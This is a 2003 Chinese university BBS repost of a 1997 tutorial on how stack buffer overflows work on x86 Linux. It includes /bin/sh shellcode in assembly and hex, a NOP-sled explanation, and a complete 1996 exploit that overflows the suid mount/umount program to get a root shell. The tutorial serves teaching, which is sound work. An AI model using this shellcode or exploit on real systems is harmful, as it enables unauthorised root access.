荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: cycker (I hate F very much), 信区: Linux
标  题: 缓冲区溢出(buffer overflow)机理分析zz
发信站: 荔园晨风BBS站 (Mon Aug 18 12:52:59 2003), 站内信件

缓冲区溢出(buffer overflow)机理分析

Only 1997.7.19
Only.bbs@bbs.sjtu.edu.cn

1.什么是缓冲区溢出?
~~~~~~~~~~~~~~~~~~~
buffer overflow,buffer overrun,smash the stack,trash the stack,
scribble the stack, mangle the stack,spam,alias bug,fandango on core,
memory leak,precedence lossage,overrun screw...

指的是一种系统攻击的手段,通过往程序的缓冲区写超出其长度的内容,造成缓冲
区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。
据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。 造成缓冲区
溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序:

example1.c
----------------------------------------------------------------------

void function(char *str) {
char buffer[16];

strcpy(buffer,str);
}
----------------------------------------------------------------------


上面的strcpy()将直接吧str中的内容copy到buffer中。这样只要str的长度 大于
16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的标准函
数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的
getc(),fgetc(),getchar()等。当然,随便往缓冲区中填东西造成它溢出一般只会
出现Segmentation fault 错误,而不能达到攻击的目的。最常见的手段是通过制
造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序
属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系
统进行任意操作了。请注意,如果没有特别说明,下面的内容都假设用户使用的平
台为基于Intelx86 CPU的Linux系统。对其它平台来说,本文的概念同样适用,但
程序要做相应修改。

2.制造缓冲区溢出
~~~~~~~~~~~~~~~~
一个程序在内存中通常分为程序段,数据端和堆栈三部分。程序段里放着程序的机
器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。
在内存中,它们的位置是:

+------------------+ 内存低端
| 程序段 |
|------------------|
| 数据段 |
|------------------|
| 堆栈 |
+------------------+ 内存高端

当程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后保存指
令寄存器(IP)中的内容做为返回地址(RET);第三个放入堆栈的是基址寄存器(FP)
;然后把当前的栈指针(SP)拷贝到FP,做为新的基地址;最后为本地变量留出一定
空间,把SP减去适当的数值。以下面程序为例:

example2.c
----------------------------------------------------------------------

void function(char *str) {
char buffer[16];

strcpy(buffer,str);
}

void main() {
char large_string[256];
int i;

for( i = 0; i < 255; i++)
large_string[i] = 'A';

function(large_string);
}
----------------------------------------------------------------------


当调用函数function()时,堆栈如下:

低内存端 buffer sfp ret *str 高内存端 <------ [ ][ ][ ][ ] 栈顶 栈底

不用说,程序执行的结果是"Segmentation fault (core dumped)"或类似的 出错
信息。因为从buffer开始的256个字节都将被*str的内容'A'覆盖,包括sfp, ret,
甚至*str。'A'的十六进值为0x41,所以函数的返回地址变成了0x41414141, 这超
出了程序的地址空间,所以出现段错误。

3.通过缓冲区溢出获得用户SHELL
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
如果在溢出的缓冲区中写入我们想执行的代码,再覆盖返回地址(ret)的内 容,使
它指向缓冲区的开头,就可以达到运行其它指令的目的。

低内存端 buffer sfp ret *str 高内存端
<------ [ ][ ][ ][ ]
栈顶 ^ | 栈底
|________________________|


通常,我们想运行的是一个用户shell。下面是一段写得很漂亮的shell代码

example3.c
----------------------------------------------------------------------

void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes total
");
}
----------------------------------------------------------------------


将上面的程序用机器码表示即可得到下面的十六进制shell代码字符串。

example4.c
----------------------------------------------------------------------

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer,large_string);
}
----------------------------------------------------------------------


这个程序所做的是,在large_string中填入buffer的地址,并把shell代码放到
large_string的前面部分。然后将large_string拷贝到buffer中,造成它溢出,使
返回地址变为buffer,而buffer的内容为shell代码。这样当程序试从
strcpy()中返回时,就会转而执行shell。

4.利用缓冲区溢出进行的系统攻击
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
如果已知某个程序有缓冲区溢出的缺陷,如何知道缓冲区的地址,在那儿放入
shell代码呢?由于每个程序的堆栈起始地址是固定的,所以理论上可以通过反复
重试缓冲区相对于堆栈起始位置的距离来得到。但这样的盲目猜测可能要进行数百
上千次,实际上是不现实的。解决的办法是利用空指令NOP。在shell代码前面放一
长串的NOP,返回地址可以指向这一串NOP中任一位置,执行完NOP指令后程序将激
活shell进程。这样就大大增加了猜中的可能性。

低内存端 buffer sfp ret *str 高内存端
<------ [NNNNNNNSSSSSSSSSSSSSSSSS][ ][ ][ ]
栈顶 ^ | 栈底
|_______________________________|

图中,N代表NOP,S代表shell。下面是一个缓冲区溢出攻击的实例,它利用了系统
程序mount的漏洞:

example5.c
----------------------------------------------------------------------

/* Mount Exploit for Linux, Jul 30 1996

Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>

#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

u_long get_esp()
{
__asm__("movl %esp, %eax");

}

main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;

int i;
int ofs = DEFAULT_OFFSET;

buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;

/* fill start of buffer with nops */

memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);

/* stick asm code into the buffer */

for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;

(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}

----------------------------------------------------------------------


程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区buff,然
后在buff的前面部分填满NOP,后面部分放shell代码。最后部分是希望程序返回的
地址,由栈地址加偏移得到。当以buff为参数调用mount时,将造成mount程序的堆
栈溢出,其缓冲区被buff覆盖,而返回地址将指向NOP指令。由于mount程序的属主
是root且有suid位,普通用户运行上面程序的结果将获得一个具有root权限的
shell。



--

※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.26.220]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店